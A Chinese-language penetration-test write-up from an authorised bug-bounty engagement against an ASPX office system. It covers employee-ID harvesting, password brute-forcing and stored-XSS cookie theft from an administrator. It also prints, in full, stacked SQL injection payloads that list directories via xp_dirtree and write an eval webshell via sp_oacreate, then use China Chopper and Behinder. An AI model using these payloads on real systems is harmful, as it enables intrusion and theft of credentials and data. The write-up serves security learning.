截至发稿前,已将漏洞提交厂商并验证其已完成修复。本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
本文为记录实战过程中遇到的问题及思考,旨在思路分享及自我总结。文中涉及目标站点为SRC授权站点,为防止漏打码已对实际链接进行了部分删减,如去除了链接目录名等。整个测试过程涉及未授权访问、暴力破解、存储型XSS、SQL注入,到最后拿shell,过程略微曲折。
打开目标站点,为系统登录界面。安装VNC远程协助链接到内网地址,经测试登录无验证码及失败次数锁定,可尝试暴力破解,此处先做信息收集。
目标站点:http://1.2.3.4/login.aspx
脚本:aspx,通过登录页面可知;
服务器:IIS7.5,通过404、403报错页面可得;
数据库:可能为SQL Server,常见组合;
安全防护:未知,对IP进行端口扫描会封一段时间,但测试and 1=1不拦,无WAF或未开启严格的防护策略;
通过查看返回包,发现Server为nginx/1.17.2,判断应该存在反向代理。
通过对现有信息的分析,优先选择暴力破解,系统首页登录为密码md5前端加密后传输,此处爆破需选择burp的HASH-MD5后进行爆破。
系统登录失败返回信息都为“登录失败xxx”,无法确认是否存在用户。
查看页面源码发现存在http://1.2.3.4/client/
此页面未对密码进行md5加密,即
首页:http://1.2.3.4/ 密码加密后传输
Client:http://1.2.3.4/client/ 密码明文传输
此处用http://1.2.3.4/client/ 进行爆破,不需要进行MD5加密可提高效率,但使用name500及自定义字典,包括常见测试账号,及3位数字,4位数字,5位数字等组成5000多个用户名,爆破密码123456、888888、111111,结果一个都没爆破到。
当时的思路是先确定用户名,例如工号等,再去爆破其中存在弱口令的账号,并未想着直接爆破admin,因为那时觉得后台可能不在这里登录,现在想想也可以直接盲爆admin用户。
所以那时先收集用户名,使用Google语法,Site:xxx 工号,但并没有收获。针对只有登录界面的系统,只有掌握了用户名的规律,才能提高爆破的机率,此处很有可能是工号。用户名收集无果,便打开了目录扫描,看看有无敏感信息。
通过对站点进行目录扫描,存在以下目录及文件。
main.aspx访问弹登陆超时,跳转登陆界面,禁用js返回页面如下:
禁用js访问main_d.aspx返回以下页面:
继续查看源码,发现以下地址通过对站点进行目录扫描,存在以下目录及文件。
禁用js访问http://1.2.3.4/MyWork/Richeng/RichengmyList_show.aspx?id=12点击修改,此处已测试id不存在SQL注入。
该页面存在大量附件,其中有体检附件登记表,点击下载链接如下:
点击下载跳转登陆界面
此处感觉是有任意文件下载,但可能需要登录,后续爆破出账户后可测试。
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls
需下载文件,尝试构造http://1.2.3.4/file/liaotian/201922xx.xls
如上获取到该单位的员工工号,使用excel生成工号列表进行暴力破解。
上述已获取工号组合,生成01111-05555进行爆破,使用密码123456、111111、888888、123qwe、qwe123、123123、123321。当使用密码123321时,成功爆破出一个弱口令用户。
使用该账号登录系统
系统功能模块较多,测试前面的文件下载
http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls
尝试下载web.config
http://1.2.3.4/file_down.aspx?number=web.config
测试不存在任意文件下载,修改文件后是直接Location到文件,从而下载,后续对系统的功能点逐个进行测试。
后台功能主要存在以下4个上传点。上传点1-印章上传:
上传点2-邮件附件:
上传点3-头像上传
上传点4:KindEditor 4.1.10 编辑器,貌似无解。
上传点1,文件上传后的路径为:/seal/2021815238.png
此目录未限制禁止脚本执行,但无法上传脚本文件,尝试绕过均失败。
上传点2,文件上传后的路径为:/file/emailfile/2021081523.png
此目录限制了脚本执行,即/file目录下不能执行脚本文件。
此上传点可上传aspx等文件,但上传后后缀为.unknow
后续通过注入点发现上传后缀写在数据库中,可以通过update语句增加后缀,但并无跨目录的方法,即使上传了aspx脚本文件,也无法执行。
上传文件后截图如下:
后续查看数据库,允许上传的文件后缀如下:
上传点3,任意文件上传,上传后路径为/SystemManage/User/file/ 下,测试目录限制脚本执行,无法跨目录。
上面针对后台上传功能测试后无法上传getshell,便考虑是否能找到高权限账号,管理员账号可能有修改上传文件格式的权限。
此时测试邮件存在存储型XSS,发送邮件可以打用户cookie。
发送邮件给自己,收件箱打开时:
可以给管理员发送带XSS的邮件,当管理员打开邮件时,即可以获取管理员的cookie,此处配合server酱,可实现获取cookie后微信提醒通知,同样发送邮件给自己测试。
编写邮件,插入XSS平台payload。
收件箱点开后
微信收到Server酱通知
登录XSS平台查看,成功获取用户cookie信息
此处构造好XSS后,给管理员发送了标题为【问题建议】的邮件,增加管理员打开的概率,即打开邮件可获取管理员的cookie。
同时在邮件选择收件人处,发现组织架构处,可列举所有用户的工号、科室、姓名信息。
故可以收集用户工号,此处发现管理员即为admin,在等待xss的同时,也构造字典对admin进行爆破。
然后竟然成功爆破出了admin的密码,看了下密码在“全国弱口令TOP1000”中没有,如果一开始就爆破admin,可能也爆不出来,个人习惯是爆TOP1000,当初也确定不了管理员就是admin。
此处也说明有一个强字典是多么的重要。
使用admin登录系统后,只多了以下两个功能模块,很失望并没有可以修改上传设置的功能。
测试发现登录管理员也并没啥用,还是无法getshell,既然上传无门,那就寻找注入点,如果是sa的注入点则getshell的机率大很多。
于是又重新回到后台各个功能点进行测试,经过一番测试终于发现了一个注入点,链接如下:
测试1=1页面正常
测试1=2页面异常
爆数据库版本信息
如上确认存在SQL注入,使用sqlmap进行利用,当前用户为SA。
测试使用—os-shell命令失败,可能是有安全设备拦截。
此时也对数据库的大致表进行查看,发现了管理后台某个点的文件上传格式可在数据库设置后缀,但无法跨目录,故即使能上传脚本也无法getshell。
经手工测试注入点支持堆叠注入,此处尝试使用sp_oacreate写马,SQL如下:
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'c:shell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'
但需知道网站根目录,此处可以使用xp_dirtree进行目录遍历,SQL如下:
create table dirs(subdirectory varchar(255),depth int, filee int);
insert dirs exec xp_dirtree 'c:',1,1
建立表后,先执行以下查询,此处为查询c盘目录下的文件夹及文件:
http://1.2.3.4/WorkFlow/AddWorkFlow_add_Next.aspx?tmp=0.8307731177113578&add=&UpNodeNum=11,&FlowNumber=20189139012187';insert dirs exec xp_dirtree 'c:',1,1;--&FormId=86&Number=202181414
页面返回正常,则语句执行成功,再去sqlmap查询dirs表下的内容,即为c盘的目录内容:
利用上述方式成功找到网站根目录为d:OA 下。
执行SQL语句写入文件shell.asp
declare @f int,@g int;exec sp_oacreate 'Scripting.FileSystemObject',@f output;EXEC SP_OAMETHOD @f,'CreateTextFile',@f OUTPUT,'d:OAshell.asp',1;EXEC sp_oamethod @f,'WriteLine',null,'<%eval request("cmd")%>'
打开链接:http://1.2.3.4/shell.asp 空白,中国菜刀连接成功。
上传冰蝎,后续可以进行socks代理,从而进入内网。
通过systeminfo收集系统信息,可用于后续提权。
以上成功获得目标站点shell。
渗透测试很多时候需要的细心和耐心再加上一点运气,当我们在后台无法getshell时,可以尝试去找后台的SQL注入,高权限的注入点可以直接写shell。
又或者当我们有一个SQL注入点却没法写shell时,可以尝试读管理员账号密码,登录后台测试是否有文件上传漏洞,从而进行拿shell。关注不同的漏洞危害,并进行组合利用,往往可以达到出其不意的效果。
至此全篇完,感谢阅读,希望您能从中有所收获。
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/177377.html